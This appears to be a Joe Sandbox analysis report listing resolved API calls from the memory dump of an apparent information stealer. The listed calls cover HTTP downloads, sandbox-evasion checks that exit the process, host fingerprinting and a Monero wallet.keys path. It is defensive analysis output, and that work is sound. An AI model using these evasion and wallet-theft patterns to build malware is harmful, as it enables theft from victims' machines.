LoadLibraryA.KERNEL32(013CD080,?,00BD5CA3,00BE0AEB,?,?,?,?,?,?,?,?,?,?,00BE0AEA,00BE0AE3), ref: 00BDA0B8
GetProcAddress.KERNEL32(75290000,013B5870), ref: 00BDA0DA
GetProcAddress.KERNEL32(75290000,013CD380), ref: 00BDA0F2
GetProcAddress.KERNEL32(75290000,013C8F28), ref: 00BDA10A
GetProcAddress.KERNEL32(75290000,013CD158), ref: 00BDA123
GetProcAddress.KERNEL32(75290000,013B59D0), ref: 00BDA13B
GetProcAddress.KERNEL32(73B70000,013BB928), ref: 00BDA160
GetProcAddress.KERNEL32(73B70000,013B5A10), ref: 00BDA179
GetProcAddress.KERNEL32(73B70000,013BB680), ref: 00BDA191
GetProcAddress.KERNEL32(73B70000,013CD290), ref: 00BDA1A9
GetProcAddress.KERNEL32(73B70000,013CD2F0), ref: 00BDA1C2
GetProcAddress.KERNEL32(73B70000,013B5790), ref: 00BDA1DA
GetProcAddress.KERNEL32(73B70000,013B58D0), ref: 00BDA1F2
GetProcAddress.KERNEL32(73B70000,013CD1D0), ref: 00BDA20B
GetProcAddress.KERNEL32(752C0000,013B5A30), ref: 00BDA22C
GetProcAddress.KERNEL32(752C0000,013B5A50), ref: 00BDA244
GetProcAddress.KERNEL32(752C0000,013CD2A8), ref: 00BDA25D
GetProcAddress.KERNEL32(752C0000,013CD320), ref: 00BDA275
GetProcAddress.KERNEL32(752C0000,013B5A90), ref: 00BDA28D
GetProcAddress.KERNEL32(74EC0000,013BB978), ref: 00BDA2B3
GetProcAddress.KERNEL32(74EC0000,013BB6A8), ref: 00BDA2CB
GetProcAddress.KERNEL32(74EC0000,013CD170), ref: 00BDA2E3
GetProcAddress.KERNEL32(74EC0000,013B59B0), ref: 00BDA2FC
GetProcAddress.KERNEL32(74EC0000,013B57F0), ref: 00BDA314
GetProcAddress.KERNEL32(74EC0000,013BB6D0), ref: 00BDA32C
GetProcAddress.KERNEL32(75BD0000,013CD398), ref: 00BDA352
GetProcAddress.KERNEL32(75BD0000,013B5750), ref: 00BDA36A
GetProcAddress.KERNEL32(75BD0000,013C8F38), ref: 00BDA382
GetProcAddress.KERNEL32(75BD0000,013CD338), ref: 00BDA39B
GetProcAddress.KERNEL32(75BD0000,013CD140), ref: 00BDA3B3
GetProcAddress.KERNEL32(75BD0000,013B56D0), ref: 00BDA3CB
GetProcAddress.KERNEL32(75BD0000,013B5810), ref: 00BDA3E4
GetProcAddress.KERNEL32(75BD0000,013CD200), ref: 00BDA3FC
GetProcAddress.KERNEL32(75BD0000,013CD218), ref: 00BDA414
GetProcAddress.KERNEL32(75A70000,013B5730), ref: 00BDA436
GetProcAddress.KERNEL32(75A70000,013CD278), ref: 00BDA44E
GetProcAddress.KERNEL32(75A70000,013CD3B0), ref: 00BDA466
GetProcAddress.KERNEL32(75A70000,013CD3C8), ref: 00BDA47F
GetProcAddress.KERNEL32(75A70000,013CD1E8), ref: 00BDA497
GetProcAddress.KERNEL32(75450000,013B5710), ref: 00BDA4B8
GetProcAddress.KERNEL32(75450000,013B57B0), ref: 00BDA4D1
GetProcAddress.KERNEL32(75DA0000,013B57D0), ref: 00BDA4F2
GetProcAddress.KERNEL32(75DA0000,013CD350), ref: 00BDA50A
GetProcAddress.KERNEL32(6F070000,013B5A70), ref: 00BDA530
GetProcAddress.KERNEL32(6F070000,013B56F0), ref: 00BDA548
GetProcAddress.KERNEL32(6F070000,013B5830), ref: 00BDA560
GetProcAddress.KERNEL32(6F070000,013CD230), ref: 00BDA579
GetProcAddress.KERNEL32(6F070000,013B5850), ref: 00BDA591
GetProcAddress.KERNEL32(6F070000,013B5890), ref: 00BDA5A9
GetProcAddress.KERNEL32(6F070000,013B58B0), ref: 00BDA5C2
GetProcAddress.KERNEL32(6F070000,013B58F0), ref: 00BDA5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 00BDA5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 00BDA607
GetProcAddress.KERNEL32(75AF0000,013CD368), ref: 00BDA629
GetProcAddress.KERNEL32(75AF0000,013C8F68), ref: 00BDA641
GetProcAddress.KERNEL32(75AF0000,013CD2C0), ref: 00BDA659
GetProcAddress.KERNEL32(75AF0000,013CD3E0), ref: 00BDA672
GetProcAddress.KERNEL32(75D90000,013B5910), ref: 00BDA693
GetProcAddress.KERNEL32(6E360000,013CD188), ref: 00BDA6B4
GetProcAddress.KERNEL32(6E360000,013B5930), ref: 00BDA6CD
GetProcAddress.KERNEL32(6E360000,013CD0F8), ref: 00BDA6E5
GetProcAddress.KERNEL32(6E360000,013CD110), ref: 00BDA6FD

Strings

HttpQueryInfoA, xrefs: 00BDA5FC
InternetSetOptionA, xrefs: 00BDA5E5

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 6a0022f7389629a3e3cb334dd0a81caeb3a61f57d8c518e0a785e3795a212338
Instruction ID: 9c67e25946a76980476a20c290c763a6dd0b9e35fbd11df36c8798a5e68355e9
Opcode Fuzzy Hash: 6a0022f7389629a3e3cb334dd0a81caeb3a61f57d8c518e0a785e3795a212338
Instruction Fuzzy Hash: EE62FCB5510308AFC348DFAAED8895637F9F74C60171CC53BA605E3268D63B94C9DB62

Function 00BC6280 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BDA7E6

Part of subcall function 00BC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00BC4839
Part of subcall function 00BC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00BC4849

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

InternetOpenA.WININET(00BE0DFE,00000001,00000000,00000000,00000000), ref: 00BC62E1
StrCmpCA.SHLWAPI(?,013CEA08), ref: 00BC6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BC6335
HttpOpenRequestA.WININET(00000000,GET,?,013CDFD8,00000000,00000000,00400100,00000000), ref: 00BC6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00BC63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00BC63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00BC63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00BC646D
InternetCloseHandle.WININET(00000000), ref: 00BC64EF
InternetCloseHandle.WININET(00000000), ref: 00BC64F9
InternetCloseHandle.WININET(00000000), ref: 00BC6503

Strings

ERROR, xrefs: 00BC6407
de-DE, xrefs: 00BC634E
GET, xrefs: 00BC637C
ERROR, xrefs: 00BC64C9

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET$de-DE
API String ID: 3749127164-1008115567
Opcode ID: efb1fa22fce547352d5855794314656ed4c11552c7f29e2dc3c2045a4b763fed
Instruction ID: 48cdf550996a7167fa95db8397e5bd08c2985dc7477b020588c0a89e6fa1ae02
Opcode Fuzzy Hash: efb1fa22fce547352d5855794314656ed4c11552c7f29e2dc3c2045a4b763fed
Instruction Fuzzy Hash: 11713F71A00358AFDB14DB94DC49FEEB7B8FB44700F1081A9F5096B290EBB56A89CF51

Function 00BD5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BDA820: lstrlen.KERNEL32(00BC4F05,?,?,00BC4F05,00BE0DDE), ref: 00BDA82B
Part of subcall function 00BDA820: lstrcpy.KERNEL32(00BE0DDE,00000000), ref: 00BDA885

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BD5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BD56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BD5857

Part of subcall function 00BDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BDA7E6

Part of subcall function 00BD51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BD5228

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

Part of subcall function 00BD52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BD5318
Part of subcall function 00BD52C0: lstrlen.KERNEL32(00000000), ref: 00BD532F
Part of subcall function 00BD52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00BD5364
Part of subcall function 00BD52C0: lstrlen.KERNEL32(00000000), ref: 00BD5383
Part of subcall function 00BD52C0: lstrlen.KERNEL32(00000000), ref: 00BD53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BD578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BD5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BD5A0C
Sleep.KERNEL32(0000EA60), ref: 00BD5A1B

Strings

ERROR, xrefs: 00BD5849
ERROR, xrefs: 00BD5693
ERROR, xrefs: 00BD5932
ERROR, xrefs: 00BD59FE
ERROR, xrefs: 00BD5636
ERROR, xrefs: 00BD577D

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 612c21bd0bd3bc2f2ff890c1daeecafab0643c9f92a6cf5f64b5ac3840feeaeb
Instruction ID: ace1223a532751a4c482c77e02016f87aa3cc2a8cb07be35cf8e57572fabc7e0
Opcode Fuzzy Hash: 612c21bd0bd3bc2f2ff890c1daeecafab0643c9f92a6cf5f64b5ac3840feeaeb
Instruction Fuzzy Hash: 87E144719102089ACB14FBA0DC96EEDB3BCAF54300F5085AAB40676291FF356F4DDB92

Function 00BD17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00BD17C5
ExitProcess.KERNEL32 ref: 00BD17D1

Strings

block, xrefs: 00BD17B7

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: ff91eb2e3caf5ba201701a46f00bc9055dc166c81f0c4d8de0f28f58b8272ab5
Instruction ID: 1848d4d1f34c8dd72e7a0a3fc54fd9400c0f53525b02d2446f845a1ce13d1bcb
Opcode Fuzzy Hash: ff91eb2e3caf5ba201701a46f00bc9055dc166c81f0c4d8de0f28f58b8272ab5
Instruction Fuzzy Hash: E0518FB4A10209FFCB04DFA5D8A4ABEB7F5EF44304F14849AE80567350E775EA42DB62

Function 00BD7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00BD7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BD757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BD7603
RtlAllocateHeap.NTDLL(00000000), ref: 00BD760A
wsprintfA.USER32 ref: 00BD7640

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Strings

\, xrefs: 00BD7560
:, xrefs: 00BD755C
C, xrefs: 00BD754C

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 6d447860036b947c3ecc40f606b1c29822d717e12cfedde4886db18026ad2665
Instruction ID: 1f57354b5769310e4590f422fecb0c0840d3e1146b44ad65db6a0fade9fefb78
Opcode Fuzzy Hash: 6d447860036b947c3ecc40f606b1c29822d717e12cfedde4886db18026ad2665
Instruction Fuzzy Hash: 2E41B6B1D44348ABDB10DF94DC45BDEB7B8EF18704F1440A9F50577280EB756A84CBA1

Function 00BD69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BD9860: GetProcAddress.KERNEL32(74DD0000,013C2368), ref: 00BD98A1
Part of subcall function 00BD9860: GetProcAddress.KERNEL32(74DD0000,013C24D0), ref: 00BD98BA
Part of subcall function 00BD9860: GetProcAddress.KERNEL32(74DD0000,013C2338), ref: 00BD98D2
Part of subcall function 00BD9860: GetProcAddress.KERNEL32(74DD0000,013C2500), ref: 00BD98EA
Part of subcall function 00BD9860: GetProcAddress.KERNEL32(74DD0000,013C23E0), ref: 00BD9903
Part of subcall function 00BD9860: GetProcAddress.KERNEL32(74DD0000,013C8FB8), ref: 00BD991B
Part of subcall function 00BD9860: GetProcAddress.KERNEL32(74DD0000,013B5DF0), ref: 00BD9933
Part of subcall function 00BD9860: GetProcAddress.KERNEL32(74DD0000,013B5BD0), ref: 00BD994C
Part of subcall function 00BD9860: GetProcAddress.KERNEL32(74DD0000,013C2308), ref: 00BD9964
Part of subcall function 00BD9860: GetProcAddress.KERNEL32(74DD0000,013C2248), ref: 00BD997C
Part of subcall function 00BD9860: GetProcAddress.KERNEL32(74DD0000,013C2410), ref: 00BD9995
Part of subcall function 00BD9860: GetProcAddress.KERNEL32(74DD0000,013C2278), ref: 00BD99AD
Part of subcall function 00BD9860: GetProcAddress.KERNEL32(74DD0000,013B5AF0), ref: 00BD99C5
Part of subcall function 00BD9860: GetProcAddress.KERNEL32(74DD0000,013C23F8), ref: 00BD99DE

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BC11D0: ExitProcess.KERNEL32 ref: 00BC1211

Part of subcall function 00BC1160: GetSystemInfo.KERNEL32(?), ref: 00BC116A
Part of subcall function 00BC1160: ExitProcess.KERNEL32 ref: 00BC117E

Part of subcall function 00BC1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00BC112B
Part of subcall function 00BC1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00BC1132
Part of subcall function 00BC1110: ExitProcess.KERNEL32 ref: 00BC1143

Part of subcall function 00BC1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00BC123E
Part of subcall function 00BC1220: __aulldiv.LIBCMT ref: 00BC1258
Part of subcall function 00BC1220: __aulldiv.LIBCMT ref: 00BC1266
Part of subcall function 00BC1220: ExitProcess.KERNEL32 ref: 00BC1294

Part of subcall function 00BD6770: GetUserDefaultLangID.KERNEL32 ref: 00BD6774

Part of subcall function 00BC1190: ExitProcess.KERNEL32 ref: 00BC11C6

Part of subcall function 00BD7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00BC11B7), ref: 00BD7880
Part of subcall function 00BD7850: RtlAllocateHeap.NTDLL(00000000), ref: 00BD7887
Part of subcall function 00BD7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00BD789F

Part of subcall function 00BD78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BD7910
Part of subcall function 00BD78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00BD7917
Part of subcall function 00BD78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00BD792F

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013C8F18,?,00BE110C,?,00000000,?,00BE1110,?,00000000,00BE0AEF), ref: 00BD6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BD6AE8
CloseHandle.KERNEL32(00000000), ref: 00BD6AF9
Sleep.KERNEL32(00001770), ref: 00BD6B04
CloseHandle.KERNEL32(?,00000000,?,013C8F18,?,00BE110C,?,00000000,?,00BE1110,?,00000000,00BE0AEF), ref: 00BD6B1A
ExitProcess.KERNEL32 ref: 00BD6B22

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 64fe25b6ed0e246ff31bbf5f91e725c3766d54338bc1f68b040c80d7b5e50fb1
Instruction ID: d946e018b8436e11f1f73ee7fbdc36d69a4ffd0ea6a8e37af26a8f6ff61a6efc
Opcode Fuzzy Hash: 64fe25b6ed0e246ff31bbf5f91e725c3766d54338bc1f68b040c80d7b5e50fb1
Instruction Fuzzy Hash: C9312C70900208AADB04FBE1DC56FEEF7B8AF04300F1445AAF602B6292FF755945D6A6

Function 00BC1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00BC123E
__aulldiv.LIBCMT ref: 00BC1258
__aulldiv.LIBCMT ref: 00BC1266
ExitProcess.KERNEL32 ref: 00BC1294

Strings

@, xrefs: 00BC1233

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: c31e00f296cf2d401d5a41a2ba55288bee3dc93a0eb14f9cc1c2c1ac7344fdb7
Instruction ID: c23ab2d808566809ca7d92aef62718bc09f2aec2469a4f98cf831cef39851898
Opcode Fuzzy Hash: c31e00f296cf2d401d5a41a2ba55288bee3dc93a0eb14f9cc1c2c1ac7344fdb7
